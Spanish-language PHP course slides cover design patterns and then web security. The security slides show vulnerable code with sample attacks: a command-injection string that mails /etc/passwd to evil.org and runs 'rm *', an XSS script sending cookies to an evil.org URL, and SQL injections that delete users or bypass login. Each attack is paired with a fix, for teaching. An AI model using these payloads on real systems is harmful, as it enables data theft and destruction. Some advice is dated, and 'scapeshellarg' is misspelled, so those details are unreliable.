Los patrones de diseo (design patterns) son la base para la bsqueda de soluciones a problemas comunes en el desarrollo de software y otros mbitos referentes al diseo de interaccin o interfaces. Un patrn de diseo es una solucin a un problema de diseo. Para que una solucin sea considerada un patrn debe poseer ciertas caractersticas. Una de ellas es que debe haber comprobado su efectividad resolviendo problemas similares en ocasiones anteriores. Otra es que debe ser reusable, lo que significa que es aplicable a diferentes problemas de diseo en distintas circunstancias.

PHP con Postgres Linux Center Jorge Arvalo Clase 4 Arquitectura de Software

Patrones de Diseo
Categoras:
Patrones arquitecturales: Aqullos que expresan un esquema organizativo estructural fundamental para sistemas software. Patrones de diseo: Aqullos que expresan esquemas para definir estructuras de diseo (o sus relaciones) con las que construir sistemas software. Idiomas: Patrones de bajo nivel especficos para un lenguaje de programacin o entorno concreto. Adems, tambin es importante resear el concepto de Antipatrn de Diseo, que con forma semejante a la de un patrn, intenta prevenir contra errores comunes de diseo en el software.

PHP con Postgres Linux Center Jorge Arvalo Clase 4 Arquitectura de Software

Patrones de Diseo
Patrones estructurales: Adapter (Adaptador): Adapta una interfaz para que pueda ser utilizada por una clase que de otro modo no podra utilizarla. Bridge (Puente): Desacopla una abstraccin de su implementacin. Composite (Objeto compuesto): Permite tratar objetos compuestos como si de uno simple se tratase. Decorator (Envoltorio): Aade funcionalidad a una clase dinmicamente.

PHP con Postgres Linux Center Jorge Arvalo Clase 4 Arquitectura de Software

Patrones de Diseo
Patrones estructurales: Facade (Fachada): Provee de una interfaz unificada simple para acceder a una interfaz o grupo de interfaces de un subsistema. Flyweight (Peso ligero): Reduce la redundancia cuando gran cantidad de objetos poseen idntica informacin. Proxy : Mantiene un representante de un objeto.

PHP con Postgres Linux Center Jorge Arvalo Clase 4 Arquitectura de Software

Patrones de Diseo
Patrones de Comportamiento: Chain of Responsibility (Cadena de responsabilidad): Permite establecer la lnea que deben llevar los mensajes para que los objetos realicen la tarea indicada. Command (Orden): Encapsula una operacin en un objeto, permitiendo ejecutar dicha operacin sin necesidad de conocer el contenido de la misma. Interpreter (Intrprete): Dado un lenguaje, define una gramtica para dicho lenguaje, as como las herramientas necesarias para interpretarlo. Iterator (Iterador): Permite realizar recorridos sobre objetos compuestos independientemente de la implementacin de estos.
PHP con Postgres Linux Center Jorge Arvalo Clase 4 Arquitectura de Software

Patrones de Diseo
Patrones de Comportamiento: Mediator (Mediador): Define un objeto que coordine la comunicacin entre objetos de distintas clases, pero que funcionan como un conjunto. Memento (Recuerdo): Permite volver a estados anteriores del sistema. Observer (Observador): Define una dependencia de uno-a-muchos entre objetos, de forma que cuando un objeto cambie de estado se notifique y actualicen automticamente todos los objetos que dependen de l. State (Estado): Permite que un objeto modifique su comportamiento cada vez que cambie su estado interno.

PHP con Postgres Linux Center Jorge Arvalo Clase 4 Arquitectura de Software

Patrones de Diseo
Patrones de Comportamiento: Strategy (Estrategia): Permite disponer de varios mtodos para resolver un problema y elegir cul utilizar en tiempo de ejecucin. Template Method (Mtodo plantilla): Define en una operacin el esqueleto de un algoritmo, delegando en las subclases algunos de sus pasos, esto permite que las subclases redefinan ciertos pasos de un algoritmo sin cambiar su estructura. Visitor (Visitante): Permite definir nuevas operaciones sobre una jerarqua de clases sin modificar las clases sobre las que opera.

PHP con Postgres Linux Center Jorge Arvalo Clase 4 Arquitectura de Software

Patrones de Diseo
Patrones creacionales: Abstract Factory (Fbrica abstracta): Permite trabajar con objetos de distintas familias de manera que las familias no se mezclen entre s y haciendo transparente el tipo de familia concreta que se est usando. Builder (Constructor virtual): Abstrae el proceso de creacin de un objeto complejo, centralizando dicho proceso en un nico punto. Factory Method (Mtodo de fabricacin): Centraliza en una clase constructora la creacin de objetos de un subtipo de un tipo determinado, ocultando al usuario la casustica para elegir el subtipo que crear.

PHP con Postgres Linux Center Jorge Arvalo Clase 4 Arquitectura de Software

Patrones de Diseo
Patrones creacionales: Prototype (Prototipo): Crea nuevos objetos clonndolos de una instancia ya existente. Singleton (Instancia nica): Garantiza la existencia de una nica instancia para una clase y la creacin de un mecanismo de acceso global a dicha instancia.

PHP con Postgres Linux Center Jorge Arvalo Clase 4 Arquitectura de Software

Seguridad
Definicin: Entendemos por aplicaciones web a todo aqul software que interacciona con el usuario utilizando el protocolo HTTP. Por su parte, los servicios web son un conjunto de funciones empaquetadas dentro de una entidad nica y publicadas dentro de la red para que puedan ser utilizadas por las aplicaciones web.

PHP con Postgres Linux Center Jorge Arvalo Clase 5 Seguridad en PHP

Seguridad
Lineas frecuentes de ataques: Saltarse las validaciones Inyeccin de cdigo Inyeccion de SQL Inyeccion de Cookies XSS Cross Site Scripting

PHP con Postgres Linux Center Jorge Arvalo Clase 5 Seguridad en PHP

Seguridad
Saltarse las validaciones - Objetivo: El objetivo es que la aplicacin colapse, de una manera interesante para el atacante. Dejando a la aplicacin en un estado invalido, de modo que deje de estar operativa. Revelando informacin de depuracin, que permita conocer detalles importantes acerca de la plataforma usada, para luego aprovechar los problemas de seguridad conocidos que esta tenga.

PHP con Postgres Linux Center Jorge Arvalo Clase 5 Seguridad en PHP

Seguridad
Saltarse las validaciones - Cmo?: Existen 2 tipos de validacin, la del lado del cliente y la del lado del servidor. En el primer caso, tenemos como ventaja el rpido feedback con el cliente. Pero si no va acompaada de la segunda, tenemos un grave problema de seguridad: Se puede generar un nuevo formulario, que enve los datos sin ser validados al server.

PHP con Postgres Linux Center Jorge Arvalo Clase 5 Seguridad en PHP

Seguridad
Validacin en el servidor: PHP ofrece mltiples funciones para validar datos: is_int(), is_float(), is_bool(), is_finite(), is_nan(), etc intval(), floatval(), doubleval(), etc strlen(), strpos(), etc

PHP con Postgres Linux Center Jorge Arvalo Clase 5 Seguridad en PHP

Seguridad
Inyeccin de cdigo - Objetivo: Hacer que nuestro script ejecute algn cdigo ingresado por el atacante. Este cdigo habitualmente apunta a: Mostrar informacin acerca de la plataforma Daar el sistema Generar nuevas vulnerabilidades de seguridad.

PHP con Postgres Linux Center Jorge Arvalo Clase 5 Seguridad en PHP

Seguridad
Inyeccin de cdigo - Cmo?: Generalmente a travs de variables GET, POST o COOKIE, que no se valida correctamente (o simplemente no se valida) Ejemplo: $filename=$_GET[datoString]; $message=file_get_contents($filename); echo $message; Si se llama www.cursophp.org/miscript.php?datoString=hola.txt Pero si se llama www.cursophp.org/miscript.php?datoString=pass.cfg

PHP con Postgres Linux Center Jorge Arvalo Clase 5 Seguridad en PHP

Seguridad
Inyeccin de cdigo - Cmo?: <?php $fp = popen('/usr/sbin/sendmail -i '. $_GET[to], 'w'); ?> Se llama con el siguiente query string: *.php?to=evil%40evil.org+%3C+%2Fetc%2Fpasswd%3B+rm+%2A Ejecutara: /usr/sbin/sendmail -i evil@evil.org /etc/passwd; rm * Solucin: <?php $fp = popen('/usr/sbin/sendmail -i '. scapeshellarg($_GET[to]), 'w'); ?>

PHP con Postgres Linux Center Jorge Arvalo Clase 5 Seguridad en PHP

Seguridad
Inyeccin de cdigo - Cmo?: Los includes de scripts referenciados desde GET o POST no debieran usarse y de ser as, validar muy bien los datos.

PHP con Postgres Linux Center Jorge Arvalo Clase 5 Seguridad en PHP

Seguridad
Inyeccin de cdigo - Cmo?: Supongamos que este codigo est dentro del mdulo de mensajeria de nuestra aplcacin <?php ... echo "<TD> $subject </TD>"; ?> Un usuario malicioso podra enviar un mensaje con el asunto: <script> self.location.href= "http://evil.org/cookiegrab.html?cookies=" +escape(document.cookie) </script> Llamando a su servidor, donde revisando el log de los request, tendr la informacin de nuestras cookies Solucin: <?php ... echo "<TD> ".htmlspecialchars($subject)." </TD>"; ?>

PHP con Postgres Linux Center Jorge Arvalo Clase 5 Seguridad en PHP

Seguridad
Inyeccin de SQL - Objetivo: Alterar los datos en la base de datos para que ocurra alguna de las siguientes situaciones: La aplicacin colapse porque se ingresaron datos que no concuerdan con lo esperado. Se pierda informacin producto de la eliminacin de registros. Se produzcan errores de SQL, que permitan obtener informacin de depuracin y as encontrar vulnerabilidades.

PHP con Postgres Linux Center Jorge Arvalo Clase 5 Seguridad en PHP

Seguridad
Inyeccin de SQL - Cmo?: Ingresando partes de sentencias sql de actualizacion de bd, en los parametros que incluye la query. Ejemplo: $user_name=$_GET[u_name]; $sql=SELECT * FROM users WHERE user_name=$user_name ; $result=pg_query($sql); Si se llama: *.php?u_name=Jorge ningn problema, pero si se llama: *.php?u_name=Jorge;DELETE FROM users; tendremos problemas.

PHP con Postgres Linux Center Jorge Arvalo Clase 5 Seguridad en PHP

Seguridad
Inyeccin de SQL - Cmo?:
Otro ejemplo: $user_name=$_GET[u_name]; $pass=$_GET[password]; $sql=SELECT * FROM users WHERE user_name=$user_name AND password=$pass ; $result=pg_query($sql); Si se llama: *.php?u_name=Jorge&password=123 ningn problema, pero si se llama: *.php?u_name=Jorge&password=123 or = Se ejecutara el sql: SELECT * FROM users WHERE user_name=Jorge AND password=123 or = Lo que probablemente garantizara el ingreso del usuario, sin necesidad de que el password coincida.

PHP con Postgres Linux Center Jorge Arvalo Clase 5 Seguridad en PHP

Seguridad
XSS Cross Site Scripting: La idea es reemplazar una direccion http por un codigo malicioso, permitiendo esto: El pishing La ejecucin de scripts dainos El robo de informacin privada

PHP con Postgres Linux Center Jorge Arvalo Clase 5 Seguridad en PHP

Seguridad
Proteger el servidor web: Para esto debemos tener en cuenta lo siguiente: Mientras el atacante menos sepa del servidor, ms dificil ser su tarea. Mientras menos servicios de red ofrezca el servidor ms seguro ser. Si vulneran el sistema operativo, no tenemos nada que hacer. Por lo que debe ser lo ms robusto posible contra ataques locales y remotos.

PHP con Postgres Linux Center Jorge Arvalo Clase 5 Asegurar Apache

Seguridad
Proteger el servidor web: El acceso remoto al servidor debe estar controlado por un firewall que permita el acceso slo en el puerto HTTP (TCP:80) Apache no debe tener activado ningn modulo que no sea necesario. Apache debe tener acceso restringido al sistema de archivos Chroot para apache. Debe ser posible almacenar en un archivo de texto los request GET y POST para usar programas adicionales para la deteccion de intrusos.
PHP con Postgres Linux Center Jorge Arvalo Clase 5 Asegurar Apache

Seguridad
Medidas Concretas: En httpd.conf setear safe_mode = On Modificar la linea AddType applicaton/x-httpd-php .php a AddType applicaton/x-httpd-php .do y renombrar todos los archivos .php a .do

PHP con Postgres Linux Center Jorge Arvalo Clase 5 Asegurar Apache

Fin
PHP con Postgres Linux Center Jorge Arvalo Clase 5 Fin del curso